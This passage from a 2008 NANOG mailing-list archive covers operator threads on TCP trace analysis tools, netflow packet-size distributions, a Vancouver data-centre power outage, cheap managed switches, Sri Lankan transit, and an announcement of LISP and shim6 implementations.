been assigned to any RIR. Is this a bogon, or does >>> anyone know of a legitimate reason for this ? >>> >>> Regards >>> Marshall >>> >>> >> >> > > -- ^christian$ From SFisher at Bresnan.com Mon Jul 14 13:39:21 2008 From: SFisher at Bresnan.com (Fisher, Shawn) Date: Mon, 14 Jul 2008 14:39:21 -0400 Subject: VLAN Management Tool Message-ID: <21352038E7719F43A6D65B2D90B5256CCBFC5C@fossil.bresnan.com> Do you folks have any experience with a practical VLAN management tool that allows a user to centrally manage VLAN creation and configuration for a multi-vendor environment? (Juniper, Cisco, Extreme, etc) Something that supports auto-discovery, Q-in-Q, good high level visualization, etc. Thanks in advance for your response, Shawn From duane.cook at canadawebhosting.com Mon Jul 14 13:42:57 2008 From: duane.cook at canadawebhosting.com (Duane Cook) Date: Mon, 14 Jul 2008 14:42:57 -0400 Subject: Peer1 outage in Vancouver Message-ID: <3E33DAE7E09DE646BCE6675ED3AFC8F85BA7F1AF@exchange2.corp.reliant.internal> There is a power outage in downtown Vancouver, and apparently Peer1's UPS and/or Generators have failed. UPDATE by cpugsley on Mon Jul 14, 2008 10:10 am Upon further review the power outage has affected the entire Financial District. Generator 7 - the main generator in the Harbour Centre building that powers PEER 1 and other business worked for approximately 20 minutes after the power went out. The 16th floor data center and the 21st floor West data center are currently at a 90% power loss. The 21st floor North is now at 100% power loss. We've also learned that the UPS power is affected as well. The Harbour Centre building is working around the clock to restart the generator as quickly as possible. We will continue to provide updates as they are received. Thank you for your continued patience. Charnell Pugsley Community Evangelist PEER 1 Web - http://www.peer1.com Blog - http://www.peer1.com/blog http://www.peer1.com/forums/viewtopic.php?f=37&t=50&p=82#p82 Duane Cook From sam_mailinglists at spacething.org Tue Jul 15 05:05:34 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Tue, 15 Jul 2008 11:05:34 +0100 Subject: Analysing traces for performance bottlenecks Message-ID: <487C766E.9070501@spacething.org> Hi, Are there any packages (or Wireshark options that I've missed) that can follow a TCP stream and determine the limiting factor on throughput. E.g Latency, packet loss, out of sequence packets, window size, or even just the senders rate onto the wire. I know how to analyse a trace by hand for performance issues, but it's relatively time consuming. Googling for variations on "Analyse TCP stream limit throughput" didn't find anything. Sam From xmin0s at gmail.com Tue Jul 15 05:35:51 2008 From: xmin0s at gmail.com (Tim Eberhard) Date: Tue, 15 Jul 2008 05:35:51 -0500 Subject: Analysing traces for performance bottlenecks In-Reply-To: <487C766E.9070501@spacething.org> References: <487C766E.9070501@spacething.org> Message-ID: <2c52b84e0807150335q2acecb62o4dd1bd7ddbb00250@mail.gmail.com> One potentially useful piece of software that is a work in progress is called Pcapdiff. (http://www.eff.org/testyourisp/pcapdiff/) Written by Seth Schoen and Steven Lucy it's a pretty useful piece of software. While still in a relative infant stage I think it could mature into a very useful tool to troubleshoot network connectivity. Pcapdiff was originally written to find out if your ISP was toying with you P2P packets (comcast) and injecting resets. I have worked with the authors a bit and found it highly useful to take two packet captures on my network and use it to verify A) All packets sent are recieved B) They are in their original state. Again the features of pcapdiff are pretty limited but I love the idea of the program and I really think it could grow into an excellent tool to analyze packet captures with just a few additional features (a few listed below) -Tim Eberhard On Tue, Jul 15, 2008 at 5:05 AM, Sam Stickland < sam_mailinglists at spacething.org> wrote: > Hi, > > Are there any packages (or Wireshark options that I've missed) that can > follow a TCP stream and determine the limiting factor on throughput. E.g > Latency, packet loss, out of sequence packets, window size, or even just the > senders rate onto the wire. I know how to analyse a trace by hand for > performance issues, but it's relatively time consuming. > > Googling for variations on "Analyse TCP stream limit throughput" didn't > find anything. > > Sam > > From sam_mailinglists at spacething.org Tue Jul 15 07:53:45 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Tue, 15 Jul 2008 13:53:45 +0100 Subject: Analysing traces for performance bottlenecks In-Reply-To: <487C766E.9070501@spacething.org> References: <487C766E.9070501@spacething.org> Message-ID: <487C9DD9.9080106@spacething.org> A bit more googling has found the Web100 projects NDT (http://e2epi.internet2.edu/ndt/). I'm currently making a Linux VM that can run it. It's useful, but I'm still really after something that can do it's type of analysis from a packet capture. Sam Sam Stickland wrote: > Hi, > > Are there any packages (or Wireshark options that I've missed) that > can follow a TCP stream and determine the limiting factor on > throughput. E.g Latency, packet loss, out of sequence packets, window > size, or even just the senders rate onto the wire. I know how to > analyse a trace by hand for performance issues, but it's relatively > time consuming. > > Googling for variations on "Analyse TCP stream limit throughput" > didn't find anything. > > Sam > From oberman at es.net Tue Jul 15 14:03:25 2008 From: oberman at es.net (Kevin Oberman) Date: Tue, 15 Jul 2008 12:03:25 -0700 Subject: Analysing traces for performance bottlenecks In-Reply-To: Your message of "Tue, 15 Jul 2008 11:05:34 BST." <487C766E.9070501@spacething.org> Message-ID: <20080715190325.33B8245047@ptavv.es.net> > Date: Tue, 15 Jul 2008 11:05:34 +0100 > From: Sam Stickland > > Hi, > > Are there any packages (or Wireshark options that I've missed) that can > follow a TCP stream and determine the limiting factor on throughput. E.g > Latency, packet loss, out of sequence packets, window size, or even just > the senders rate onto the wire. I know how to analyse a trace by hand > for performance issues, but it's relatively time consuming. > > Googling for variations on "Analyse TCP stream limit throughput" didn't > find anything. tcptrace is old and pretty basic, but it can provide a LOT if information. Combined with xplot, the graphs often point to the exact nature of a TCP problem, but you need a really good understanding of TCP to figure anything out. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From rcheung at rochester.rr.com Tue Jul 15 16:40:39 2008 From: rcheung at rochester.rr.com (rcheung at rochester.rr.com) Date: Tue, 15 Jul 2008 17:40:39 -0400 Subject: Analysing traces for performance bottlenecks Message-ID: <11791947.2258901216158039866.JavaMail.root@hrndva-web10-z02> Wireshark can show the throughput on a bits/sec or pps, by IP, etc. This is under IO Graphs. You'll want to change the time display format of the main decode window to Seconds Since Beginning of Capture to sync up time with the graph. At least that way, you can just focus on the dips in throughput in the graphs. Rick ---- Kevin Oberman wrote: > > Date: Tue, 15 Jul 2008 11:05:34 +0100 > > From: Sam Stickland > > > > Hi, > > > > Are there any packages (or Wireshark options that I've missed) that can > > follow a TCP stream and determine the limiting factor on throughput. E.g > > Latency, packet loss, out of sequence packets, window size, or even just > > the senders rate onto the wire. I know how to analyse a trace by hand > > for performance issues, but it's relatively time consuming. > > > > Googling for variations on "Analyse TCP stream limit throughput" didn't > > find anything. > > tcptrace is old and pretty basic, but it can provide a LOT if > information. Combined with xplot, the graphs often point to the exact > nature of a TCP problem, but you need a really good understanding of TCP > to figure anything out. > -- > R. Kevin Oberman, Network Engineer > Energy Sciences Network (ESnet) > Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) > E-mail: oberman at es.net Phone: +1 510 486-8634 > Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From wozz at wookie.net Tue Jul 15 17:08:08 2008 From: wozz at wookie.net (Matt Cable) Date: Tue, 15 Jul 2008 22:08:08 +0000 (UTC) Subject: Analysing traces for performance bottlenecks References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> Message-ID: Kevin Oberman es.net> writes: > tcptrace is old and pretty basic, but it can provide a LOT if > information. Combined with xplot, the graphs often point to the exact > nature of a TCP problem, but you need a really good understanding of TCP > to figure anything out. Wireshark also provides tcptrace-like graphs ("Statistics -> TCP Stream Graph -> Time Sequence Graph (tcptrace)"). They're not quite as pretty, but are just as effective at tracking down all sorts of TCP problems, provided, as Kevin said, you have a really good understanding of how TCP behaves. From sah.list at gmail.com Tue Jul 15 18:44:48 2008 From: sah.list at gmail.com (Sean Hafeez) Date: Tue, 15 Jul 2008 16:44:48 -0700 Subject: Avg. Packet Size - Again? Message-ID: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> Most of the data and studies I have found on this topic are a bit out of date. I would be interested in find out what the average packet size people are seeing on their backbones is at this point and time? Also for those in the DC space what is average packet size you are seeing for web farm traffic (outbound)? Yes I know there are 1000's of answers and different possibilities in setups so please no, "this is a dumb question". I am well aware of all the variables involved in this. I am just looking for some data points that come from a wide degree of sources. Is this data even something that you track and if so why? Thanks! Sean From ddunkin at netos.net Tue Jul 15 19:10:27 2008 From: ddunkin at netos.net (Darryl Dunkin) Date: Tue, 15 Jul 2008 17:10:27 -0700 Subject: Avg. Packet Size - Again? References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> Message-ID: <56F5BC5F404CF84896C447397A1AAF206FBE25@MAIL.nosi.netos.com> This is all from netflow. The results are from two different routers. IP packet size distribution (43046M total packets): 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480 .000 .382 .077 .043 .022 .012 .011 .006 .007 .004 .004 .005 .003 .003 .003 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 .005 .002 .007 .021 .375 .000 .000 .000 .000 .000 .000 IP packet size distribution (54192M total packets): 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480 .001 .418 .052 .034 .017 .008 .045 .006 .010 .004 .003 .005 .003 .004 .005 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 .013 .003 .011 .036 .311 .000 .000 .000 .000 .000 .000 -----Original Message----- From: Sean Hafeez [mailto:sah.list at gmail.com] Sent: Tuesday, July 15, 2008 16:45 To: nanog Subject: Avg. Packet Size - Again? Most of the data and studies I have found on this topic are a bit out of date. I would be interested in find out what the average packet size people are seeing on their backbones is at this point and time? Also for those in the DC space what is average packet size you are seeing for web farm traffic (outbound)? Yes I know there are 1000's of answers and different possibilities in setups so please no, "this is a dumb question". I am well aware of all the variables involved in this. I am just looking for some data points that come from a wide degree of sources. Is this data even something that you track and if so why? Thanks! Sean From Valdis.Kletnieks at vt.edu Tue Jul 15 19:21:52 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 15 Jul 2008 20:21:52 -0400 Subject: Avg. Packet Size - Again? In-Reply-To: Your message of "Tue, 15 Jul 2008 16:44:48 PDT." <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> Message-ID: <43515.1216167712@turing-police.cc.vt.edu> On Tue, 15 Jul 2008 16:44:48 PDT, Sean Hafeez said: > I would be interested in find out what the average packet size people > are seeing on their backbones is at this point and time? I predict that if you graph it, there's a ton of packets that are right around the MTU of the network. almost equal number of tiny packets carrying the ACK's of the mobygrams, and then a small noise level of "everything else". -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From jlloret at dcom.upv.es Tue Jul 15 21:08:22 2008 From: jlloret at dcom.upv.es (Jaime Lloret Mauri) Date: Wed, 16 Jul 2008 04:08:22 +0200 Subject: First Call for Papers InfoSys 2009 [ICNS, ICAS, INTENSIVE], Valencia (Spain), April 21-25, 2009 Message-ID: <1216174102.487d581637664@webmail.upv.es> Please consider to contribute and encourage your team members and fellow scientists to contribute to the following federated events. Thanks for forwarding the information on this Call for Submissions to those potentially interested to submit. ===== Call for Submissions ======= InfoSys 2009, April 21-25, 2009 - Valencia/Spain see: http://www.iaria.org/conferences2009/InfoSys09.html InfoSys 2009 is a federated event focusing on advances topics concerning the networking, services, autonomic and autonomous systems, and intensive services and applications. InfoSys 2009 continues the tradition of well-established conferences, ICNS and ICAS, and adds new trends on intensive services and applications (INTENSIVE). Submission deadline: November 1st, 2008 >> ICNS 2009, The Fifth International Conference on Networking and Services http://www.iaria.org/conferences2009/ICNS09.html >> ICAS 2009, The Fifth International Conference on Autonomic and Autonomous Systems http://www.iaria.org/conferences2009/ICAS09.html >> INTENSIVE 2009, The First International Conference on Intensive Applications and Services http://www.iaria.org/conferences2009/INTENSIVE09.html Submissions must be electronically done using the ?Submit a Paper? button on the entry page of each conference. For details on the each conference's topics, see the individual Call for Papers for each conference. Unpublished high quality contributions in terms of Regular papers and Forum posters are welcome. Workshop proposals and Panel proposals on challenging topics are encouraged. Extended versions of selected papers will be published in IARIA on-line Journals (http://www.iariajournals.org) and in Special issues of different journals mentioned on the entry page of each conference. Submissions will be peer-reviewed, published by IEEE Computer Society Press, posted in IEEE Digital Library, and indexed via all the IEEE indexing agreements. -------------------------------- IARIA Publicity Board -------------------------------- From gdt at gdt.id.au Wed Jul 16 04:10:11 2008 From: gdt at gdt.id.au (Glen Turner) Date: Wed, 16 Jul 2008 19:10:11 +1000 Subject: Avg. Packet Size - Again? In-Reply-To: <43515.1216167712@turing-police.cc.vt.edu> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <43515.1216167712@turing-police.cc.vt.edu> Message-ID: <487DBAF3.2090307@gdt.id.au> Valdis.Kletnieks at vt.edu wrote: > On Tue, 15 Jul 2008 16:44:48 PDT, Sean Hafeez said: > >> I would be interested in find out what the average packet size people >> are seeing on their backbones is at this point and time? > > I predict that if you graph it, there's a ton of packets that are right > around the MTU of the network. almost equal number of tiny packets carrying > the ACK's of the mobygrams, and then a small noise level of "everything else". Our network also shows peaks at the ethernet MTU (our MTU is higher than that) and the DNS packet size. -- Glen Turner Tel: 0416 295 857 or +61 416 295 857 From randy at psg.com Wed Jul 16 06:42:55 2008 From: randy at psg.com (Randy Bush) Date: Wed, 16 Jul 2008 04:42:55 -0700 Subject: Avg. Packet Size - Again? In-Reply-To: <487DBAF3.2090307@gdt.id.au> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <43515.1216167712@turing-police.cc.vt.edu> <487DBAF3.2090307@gdt.id.au> Message-ID: <487DDEBF.2080106@psg.com> > Our network also shows peaks at the ethernet MTU (our MTU is higher > than that) and the DNS packet size. so who has been tracking packet size distributions for some years and has published or could provide data? randy From ren.provo at gmail.com Wed Jul 16 08:25:56 2008 From: ren.provo at gmail.com (Ren Provo) Date: Wed, 16 Jul 2008 09:25:56 -0400 Subject: [NANOG-announce] Reminder: Presentation materials for NANOG44/45 are welcomed Message-ID: <787581440807160625t20d1b3dav4fb95b5be8de1c97@mail.gmail.com> Hi folks, The tentative agenda for NANOG44 will be released shortly and registration will open for the October meeting. There are many time slots marked as 'speaker - pending' or 'tutorial - pending' due to abstracts lacking actual presentations. We believe there are many good ideas lurking within the abstracts and highly encourage those who consider their submission a work in progress to complete the presentation portion and submit it to NANOG-Support at nanog.org today. Thanks! -Ren Provo, NANOG PC _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce From jeff-kell at utc.edu Wed Jul 16 08:32:41 2008 From: jeff-kell at utc.edu (Jeff Kell) Date: Wed, 16 Jul 2008 09:32:41 -0400 Subject: Avg. Packet Size - Again? In-Reply-To: <487DDEBF.2080106@psg.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <43515.1216167712@turing-police.cc.vt.edu> <487DBAF3.2090307@gdt.id.au> <487DDEBF.2080106@psg.com> Message-ID: <487DF879.1080006@utc.edu> As Valdis stated earlier: > I predict that if you graph it, there's a ton of packets that are right > around the MTU of the network. almost equal number of tiny packets carrying > the ACK's of the mobygrams, and then a small noise level of "everything else". That's pretty much the case for the last decade. Way back when the "net" had more telnet and "terminal based things" the numbers were skewed to the left, but you can hardly say "Hello World" in HTTP/HTML/XML/CSS/Ajax/Javascript these days in under a megabyte :-) Sample from our border: > UTC-Edge#sho ip cache flow > IP packet size distribution (1566M total packets): > 1-32 64 96 128 160 192 224 256 288 320 352 384 416 > 448 480 > .000 .412 .120 .022 .010 .003 .004 .002 .002 .001 .001 .003 .001 > .001 .001 > > 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 > .005 .001 .003 .027 .371 .000 .000 .000 .000 .000 .000 versus our core: > UTC-Core#sho ip cache flow > IP packet size distribution (22714M total packets): > 1-32 64 96 128 160 192 224 256 288 320 352 384 416 > 448 480 > .000 .453 .073 .022 .011 .052 .069 .045 .011 .005 .009 .013 .020 > .007 .001 > > 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 > .001 .001 .001 .009 .188 .000 .000 .000 .000 .000 .000 But those are fairly stock IPv4, no jumbos, plain-jane ethernet numbers. Jeff From skeeve at skeeve.org Wed Jul 16 09:51:45 2008 From: skeeve at skeeve.org (Skeeve Stevens) Date: Thu, 17 Jul 2008 00:51:45 +1000 Subject: Transit providers in Sri Lanka Message-ID: <07ba01c8e753$781bd190$685374b0$@org> Greetings all, We've been asked to look at building an ISP in Sri Lanka and I wanted to know if anyone had any of the following: - Transit providers in Colombo - Types of handoff's common in this location (Ethernet, ATM, etc) - Expected US$/mb of flat-rate traffic - Datacentres in Sri Lanka - secure and protected Thanking you in advance for your advice. -- Skeeve Stevens, Managing Director eintellego Pty Ltd - The ISP Specialists skeeve at eintellego.net / www.eintellego.net Phone: (+612) 8197 2760, Fax: (+612) 8572 9954 Cell +61 (0)414 753 383 / skype://skeeve -- NOC, NOC, who's there? From bennetb at gmail.com Wed Jul 16 10:20:59 2008 From: bennetb at gmail.com (Brandon Bennett) Date: Wed, 16 Jul 2008 09:20:59 -0600 Subject: Managed, cheap, DC power switches Message-ID: I have a need for cheap managed DC power switches for our OSS and Monitoring (backoffice). I was wondering what everyone else have found in this space. I am currently using Cisco 2950's, but those are still 2.5K list and seems like too much to spend on something so trivial. I am looking for something with: * Better port density (48 ports per 1U), but 24 ports would work. * IOS like configuration (not needed, but would be nice not to crosstrain my team) I really don't want anything that is Web only. * CHEAP. The gear is mostly just for monitoring and big backplanes and features are not really needed. Thanks, Brandon From fred at cisco.com Wed Jul 16 10:24:59 2008 From: fred at cisco.com (Fred Baker) Date: Wed, 16 Jul 2008 08:24:59 -0700 Subject: Avg. Packet Size - Again? In-Reply-To: <487DDEBF.2080106@psg.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <43515.1216167712@turing-police.cc.vt.edu> <487DBAF3.2090307@gdt.id.au> <487DDEBF.2080106@psg.com> Message-ID: <8470C309-993B-4D94-939B-EB8B4F4E8E4B@cisco.com> CAIDA has been doing a lot of that, at least in the past. Last I asked them, which was quite a while back, they said that O(35%) of traffic in their samples was at the path MTU (which included 576 bytes for historical reasons), O(40%) was about the size of a TCP SYN or ACK, for reasons that are apparent if you think about common TCP implementations, and sizes were scattered more or less uniformly in between - last packet in a burst or transaction exchanges. From the numbers that Valdis posted the other day, it sounds like the logic remains about the same but the relevance of "576" has largely gone away. On Jul 16, 2008, at 4:42 AM, Randy Bush wrote: >> Our network also shows peaks at the ethernet MTU (our MTU is higher >> than that) and the DNS packet size. > > so who has been tracking packet size distributions for some years and > has published or could provide data? > > randy > > > From nanog at ryburn.org Wed Jul 16 10:26:54 2008 From: nanog at ryburn.org (nanog at ryburn.org) Date: Wed, 16 Jul 2008 08:26:54 -0700 (PDT) Subject: Enterprise VoIP Survey Message-ID: <2041.206.173.117.212.1216222014.squirrel@webmail.ryburn.org> Hello Everyone, I am doing a research project on VoIP deployment feasibility for a graduate degree. I am looking for people who have been involved with Enterprise level VoIP deployments that would be willing to fill out a short 10-15 question survey. Ideally I would like people who were involved in both the technical and financial aspects of the project. The survey will ask about costs and budgets but you do not need to provide the company who deployed the solution so all answers will be kept anonymous. If you are interested in participating in the survey, please unicast me and I will send you a copy of the survey. Thanks in advance for you help, -Justin From nanog at ryburn.org Wed Jul 16 10:38:00 2008 From: nanog at ryburn.org (Justin Ryburn) Date: Wed, 16 Jul 2008 10:38:00 -0500 (CDT) Subject: Enterprise VoIP Survey In-Reply-To: <2041.206.173.117.212.1216222014.squirrel@webmail.ryburn.org> References: <2041.206.173.117.212.1216222014.squirrel@webmail.ryburn.org> Message-ID: <2069.206.173.117.212.1216222680.squirrel@webmail.ryburn.org> My apologies for not having my full name in the from field on the previous email. I just set myself up a new account to catch Nanog messages and forgot to set the name. -Justin > Hello Everyone, > > I am doing a research project on VoIP deployment feasibility for a > graduate degree. I am looking for people who have been involved with > Enterprise level VoIP deployments that would be willing to fill out a > short 10-15 question survey. Ideally I would like people who were involved > in both the technical and financial aspects of the project. The survey > will ask about costs and budgets but you do not need to provide the > company who deployed the solution so all answers will be kept anonymous. > > If you are interested in participating in the survey, please unicast me > and I will send you a copy of the survey. > > Thanks in advance for you help, > -Justin > > > From fernando at gont.com.ar Wed Jul 16 11:21:24 2008 From: fernando at gont.com.ar (Fernando Gont) Date: Wed, 16 Jul 2008 13:21:24 -0300 Subject: Data about IPv6 fragmentation Message-ID: <200807161624.m6GGOuov015865@venus.xmundo.net> Hello folks, Is anybody aware of any papers with real-world data about IPv6 fragmentation? I'd be interested in something along the lines of: Shannon, C., Moore, D., and Claffy, K.C. 2001. Characteristics of Fragmented IP Traffic on Internet Links. (but that focuses on IPv6 fragmentation, rather than v4 fragmentation). Thanks! Kind regards, -- Fernando Gont e-mail: fernando at gont.com.ar || fgont at acm.org PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1 From tims at donet.com Wed Jul 16 12:59:54 2008 From: tims at donet.com (Tim Sanderson) Date: Wed, 16 Jul 2008 13:59:54 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: Message-ID: 2.5K? No way. Get used or refurbished from Network Hardware or similar outlet. We rarely buy new. Used gear works just fine. -- Tim Sanderson, network administrator tims at donet.com -----Original Message----- From: Brandon Bennett [mailto:bennetb at gmail.com] Sent: Wednesday, July 16, 2008 11:21 AM To: nanog at nanog.org Subject: Managed, cheap, DC power switches I have a need for cheap managed DC power switches for our OSS and Monitoring (backoffice). I was wondering what everyone else have found in this space. I am currently using Cisco 2950's, but those are still 2.5K list and seems like too much to spend on something so trivial. I am looking for something with: * Better port density (48 ports per 1U), but 24 ports would work. * IOS like configuration (not needed, but would be nice not to crosstrain my team) I really don't want anything that is Web only. * CHEAP. The gear is mostly just for monitoring and big backplanes and features are not really needed. Thanks, Brandon From pstewart at nexicomgroup.net Wed Jul 16 13:03:22 2008 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Wed, 16 Jul 2008 14:03:22 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: Message-ID: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net> Or at least buy Cisco refurb and save $$$...;) We have lots of 2950's in use ... moving to 2960's for low end applications currently - then moving to 3560 etc from there.... You might also checkout the Express500 stuff... more basic switch and priced right..... Paul -----Original Message----- From: Tim Sanderson [mailto:tims at donet.com] Sent: Wednesday, July 16, 2008 2:00 PM To: nanog at nanog.org Subject: RE: Managed, cheap, DC power switches 2.5K? No way. Get used or refurbished from Network Hardware or similar outlet. We rarely buy new. Used gear works just fine. -- Tim Sanderson, network administrator tims at donet.com -----Original Message----- From: Brandon Bennett [mailto:bennetb at gmail.com] Sent: Wednesday, July 16, 2008 11:21 AM To: nanog at nanog.org Subject: Managed, cheap, DC power switches I have a need for cheap managed DC power switches for our OSS and Monitoring (backoffice). I was wondering what everyone else have found in this space. I am currently using Cisco 2950's, but those are still 2.5K list and seems like too much to spend on something so trivial. I am looking for something with: * Better port density (48 ports per 1U), but 24 ports would work. * IOS like configuration (not needed, but would be nice not to crosstrain my team) I really don't want anything that is Web only. * CHEAP. The gear is mostly just for monitoring and big backplanes and features are not really needed. Thanks, Brandon ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From jra at baylink.com Wed Jul 16 13:27:10 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Wed, 16 Jul 2008 14:27:10 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: Message-ID: <20080716182710.GW2433@cgi.jachomes.com> On Wed, Jul 16, 2008 at 01:59:54PM -0400, Tim Sanderson wrote: > 2.5K? No way. Get used or refurbished from Network Hardware or similar > outlet. We rarely buy new. Used gear works just fine. Indeed. I just had to put my hands on my GBICs and a module for a 4200vl on short notice, and conveniently, Network Liquidators is about 30 miles from me. The sales rep, with the unlikely name of Bill Billings (which isn't as unusual, admittedly, as Courtney Courtney), was quite helpful and almost unreasonably solicitous. I don't actually know: is $200 for a new aftermarket multimode GBIC a deal? :-) Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From Olivier.Bonaventure at uclouvain.be Wed Jul 16 14:50:59 2008 From: Olivier.Bonaventure at uclouvain.be (Olivier Bonaventure) Date: Wed, 16 Jul 2008 21:50:59 +0200 Subject: Announcement : publicly available LISP and shim6 implementations Message-ID: <487E5123.3010105@uclouvain.be> Hello, During the last years, there have been many discussions about the scalability of the Internet architecture notably within the IRTF RRG. With IPv6, thanks to its huge addressing space, it is possible to design protocols and mechanisms that are more scalable and more powerful than with IPv4. A typical example is the multihoming problem. This problem occurs when a site is attached to several Internet Service providers. With IPv4, the classical solution is for the site to obtain one IPv4 prefix and advertise it by using BGP. This solution works and traffic engineering is possible, but unfortunately, it contributes to a significant growth of the BGP routing tables in the global Internet. With IPv6, the IETF decided to focus on a host-based technique. Basically, when a site is attached to n providers, each of its hosts will receive n different IPv6 addresses. This reduces the size of the BGP routing tables by avoiding to advertise the IPv6 prefixes used by the stub domains and provide many additional benefits in terms of path diversity or performance. Now that the shim6 standardization is being finalized by the IETF, it is time to validate this approach experimentally in the IPv6 Internet. Sebastien Barr? has developed the first publicly available implementation of the shim6 IPv6 host-based multihoming on the Linux kernel. LinShim6 is available form http://inl.info.ucl.ac.be Other approaches to better scale the Internet architecture are being discussed, notably within the Routing Research Group of the Internet Research Task Force. Several of these approaches rely on separating the two roles of IP addresses: the locator role and the identifier role. In today's IPv4 Internet, IPv4 addresses are used both to indicate the location in the Internet topology of a host (the locator role) and to terminate the transport flows on end-hosts (the identifier role). This means that it is difficult to change the IP address of a host without disrupting transport flows. The techniques that separate identifiers from locators take a different approach. First, an identifier is attached to each end-host. This identifier is used to terminate the transport flows. Second, each identifier may be reachable through multiple locators and a mapping mechanism is used to map an identifier (or a set of identifiers) onto a set of locators. This improves the scalability of the routing system as only the locators need to be distributed by BGP provided, of course, that the mapping system remains scalable. Furthermore, separating identifiers and locators has several additional benefits in terms of path diversity and performance. Some approaches propose to attach locators to hosts while other prefer to attach locators only to routers. The latter approach is the solution chosen by the proponents of the Locator/Identifier Separation Protocol (LISP). LISP is a router-based solution to solve the scaling problems of the Internet architecture that is currently being developed by Cisco. There are still many open questions concerning notably the mapping between identifiers and locators. To allow researchers and network operators to experiment with LISP, the IP Networking Lab of UCLouvain releases OpenLISP. OpenLISP is the first publicly available implementation of LISP on the FreeBSD kernel. OpenLISP was designed and implemented by Luigi Iannone. You can find more details about OpenLISP from http://inl.info.ucl.ac.be Best regards, Olivier Bonaventure From web at typo.org Wed Jul 16 15:17:31 2008 From: web at typo.org (Wayne E. Bouchard) Date: Wed, 16 Jul 2008 13:17:31 -0700 Subject: Avg. Packet Size - Again? In-Reply-To: <56F5BC5F404CF84896C447397A1AAF206FBE25@MAIL.nosi.netos.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> <56F5BC5F404CF84896C447397A1AAF206FBE25@MAIL.nosi.netos.com> Message-ID: <20080716201731.GA14337@typo.org> This is about what I would expect but as others haev noted does not include jumbos. This says that the majority of packets are session control and open/close sequences on the one side and big, fat, WRED eligible data packets on the other side. This is consistant with the trends of youtube, "high resolution" video streams, mp3 type traffic, and web pages that just can't seem to understand that a 150k jpeg looks just as good on an index as a 2 meg jpeg. I don't think these figures are likely to change signifcantly in the near future until we start seeing jumbo frames available from user to server, not simply somewhere inbetween. It might be interesting to see what of the other sizes are the final packet in a data transfer before close vs other types of data. -Wayne On Tue, Jul 15, 2008 at 05:10:27PM -0700, Darryl Dunkin wrote: > This is all from netflow. The results are from two different routers. > > IP packet size distribution (43046M total packets): > 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 > 480 > .000 .382 .077 .043 .022 .012 .011 .006 .007 .004 .004 .005 .003 .003 > .003 > > 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 > .005 .002 .007 .021 .375 .000 .000 .000 .000 .000 .000 > > IP packet size distribution (54192M total packets): > 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 > 480 > .001 .418 .052 .034 .017 .008 .045 .006 .010 .004 .003 .005 .003 .004 > .005 > > 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 > .013 .003 .011 .036 .311 .000 .000 .000 .000 .000 .000 > > -----Original Message----- > From: Sean Hafeez [mailto:sah.list at gmail.com] > Sent: Tuesday, July 15, 2008 16:45 > To: nanog > Subject: Avg. Packet Size - Again? > > Most of the data and studies I have found on this topic are a bit out > of date. > > I would be interested in find out what the average packet size people > are seeing on their backbones is at this point and time? Also for > those in the DC space what is average packet size you are seeing for > web farm traffic (outbound)? Yes I know there are 1000's of answers > and different possibilities in setups so please no, "this is a dumb > question". I am well aware of all the variables involved in this. I am > just looking for some data points that come from a wide degree of > sources. > > Is this data even something that you track and if so why? > > Thanks! > Sean > > > --- Wayne Bouchard web at typo.org Network Dude http://www.typo.org/~web/ From kilobit at gmail.com Wed Jul 16 15:24:03 2008 From: kilobit at gmail.com (Iddo) Date: Wed, 16 Jul 2008 22:24:03 +0200 Subject: Avg. Packet Size - Again? In-Reply-To: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> References: <54F4F930-8060-40BE-AB0D-88468791B151@gmail.com> 